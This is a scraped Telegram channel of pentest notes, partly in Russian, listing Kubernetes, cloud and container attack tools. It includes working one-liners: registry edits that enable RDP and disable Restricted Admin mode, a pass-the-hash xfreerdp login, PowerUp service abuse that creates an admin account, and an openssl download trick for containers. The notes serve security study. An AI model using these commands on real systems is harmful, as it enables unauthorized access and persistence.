offsec notes – Telegram
offsec notes
266 subscribers
16 photos
4 files
92 links
reading list
Download Telegram
Kubernetes pentest tools

* kube-hunter - мощный инструмент от Aqua Security

* kubescape - выявление мисконфигов кластера, RBAC, скан образов

* kdigger - тулза для разведки окружения

* kubeletctl - кастомный клиент для общения с kebelet

* peirates - мульти-комбайн тулза для пентеста кластера, в том числе изнутри pod'а

* BOtB - инструмент для анализа и эксплуатации контейнеров


Krew kubectl plugins - https://krew.sigs.k8s.io/plugins/
🐳1
Provide RDP access

Turn on
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


Bypass Restricted Admin Mode
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f


Connect
xfreerdp /v:10.10.10.10 /u:username /pth:<NT_HASH> /dynamic-resolution +clipboard
1🐳1
PowerUp

PowerUp.ps1 - aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.

Contains abuse modules such as:
* Token/Privilege Enumeration
* Service Enumeration
* DLL Hijacking
* Registry Checks


e.g:
Display services the current user can modify
PS C:\Users\dave> Get-ModifiableServiceFile


PowerUp also provides us an AbuseFunction, which is a built-in function to replace the binary and, if we have sufficient permissions, restart it. The default behavior is to create a new local user called john with the password Password123! and add it to the local Administrators group

PS C:\Users\dave> Install-ServiceBinary -Name 'vulnService'


#windows #privesc
🐳1
A collection of manifests that create pods with different elevated privileges.

Quickly demonstrate the impact of allowing security sensitive pod attributes like
* hostNetwork
* hostPID
* hostPath
* hostIPC
* privileged


#kubernetes
3
pspy - unprivileged Linux process snooping

It allows you to see commands run by other users, cron jobs, etc. as they execute.

The tool gathers the info from procfs scans. Inotify watchers placed on selected parts of the file system trigger these scans to catch short-lived processes.

Also great to demonstrate why passing secrets as arguments on the command line is a bad idea.

Link
3🐳1
Multi Tool Kubernetes Pentest Image

This docker image by Luntry contains all the most popular and necessary tools for Kubernetes penetration testing

Inside:

* Shell via web
* common tools for kube pentest
* Bypass read-only container file system
* Bypass signature engine


#kubernetes
3
Multi-Cloud tools

Инструменты для тестирования облачных сред
* PurplePanda - поиск миссконфигов и privesc. Cloud/SaaS

* Prowler - проведение аудитов, реагирование на инциденты и многое другое в таких средах, как AWS, Azure, GCP и Kubernetes

* CloudSploit by Aqua - Cloud Security Scans

* ScoutSuite - Multi-Cloud Security Auditing Tool


Представление инфраструктурных объектов и связей между ними в виде графа Neo4j
* cartography
* starbase
* IceKube
* KubeHound


Дополнительный список cloud-sec инструментов - Link
🤯2
Patroni authenticated Remote Code Execution

PoC
Discussion with developer: patroni/patroni#1734
3
Kafka pentest

Common notes - Link
Kafka UI RCE - Link
Misconfigurations & Hardening - Link

Zookeeper
Работает на TCP 2181 и по умолчанию доступен без аутентификации. Позволяет получить статистику о кластере, информацию об узлах, выключить сервер и т.д

Все команды:
dump: Lists the outstanding sessions and ephemeral nodes. This only works on the leader.

envi
: Print details about serving environment

kill: Shuts down the server. This must be issued from the machine the ZooKeeper server is running on

reqs: List outstanding requests

ruok: Tests if server is running in a non-error state. The server will respond with imok if it is running. Otherwise it will not respond at all

srst: Reset statistics returned by stat command

stat: Lists statistics about performance and connected clients


Отправить команду:
echo urok | nc 192.168.1.1 2181


Metasploit Module - Link
msf > use auxiliary/gather/zookeeper_info_disclosure
3🤯2🐳1
ELK stack pentest

Articles
* Link
* Link


Notes
* Link
* Link
3
Grafana pentest

Известно, что с помощью уже созданных data sources можно получить доступ к ресурсам, к которым ходит графана

Примеры:
Grafana Remote Command Execution Through SQL Server
SQL Injection by Default in Grafana (HTB — Jupiter)

Но так же можно создать свой собственный data source и отправлять запросы от лица графаны, с помощью api метода proxy - https://spells.cr4.sh/pentest/infra/cloud-and-linux/grafana
8🐳3
Docker Escape

Tools
* deepce - noscript for Enumeration, Escalation of Privileges and Container Escapes written in pure sh

* CDK - K8s, Docker penetration toolkit

* botb - analysis and exploitation tool also being CI/CD friendly with common CI/CD technologies

* amicontained - Useful tool to get the privileges the container has in order to find ways to escape from it

* grype - Get the CVEs contained in the software installed in the image

* linpeas - It can also enumerate containers


articles

7 Ways to Escape a Container - Обзор 7 распространенных техник побега из контейнера, их минимальных требований к capabilities и примеры уязвимых конфигураций контейнеров

All You Need is Cap - Похожий ресерч, также содержит примеры уязвимых конфигураций контейнеров внутри подов
4🐳1
Bring file to container without curl/wget etc

you can send http requests using OpenSSL

Download deepce
(echo -ne "GET /stealthcopter/deepce/main/deepce.sh HTTP/1.1\r\nHost: raw.githubusercontent.com\r\nConnection: close\r\n\r\n"; sleep 3) | openssl s_client -connect raw.githubusercontent.com:443 -quiet > deepce.sh


Download from inside a container using only bash
Corrected noscript to work properly with python server - Link
cd /tmp
tee -a getFile.sh
<copy+paste the contents of the getFile.sh noscript>
<hit enter and the ctrl-d/cmd-d>
cat getFile.sh

URL=http://localhost:8000/file OUTPUT=file ./get.sh
5🐳1
Nginxpwner - is a simple tool to look for common Nginx misconfigurations and vulnerabilities

Install using Docker
git clone https://github.com/stark0de/nginxpwner
cd nginxpwner
sudo docker build -t nginxpwner:latest .
sudo docker run -it nginxpwner:latest /bin/bash


It actually checks for
* Gets Ngnix version and gets its possible exploits using searchsploit and tells if it is outdated

* Throws a wordlist specific to Nginx via gobuster

* Checks if it is vulnerable to CRLF via a common misconfiguration of using $uri in redirects

* Checks for CRLF in all of the paths provided

* Checks if the PURGE HTTP method is available from the outside

* Checks for variable leakage misconfiguration

etc
2🐳1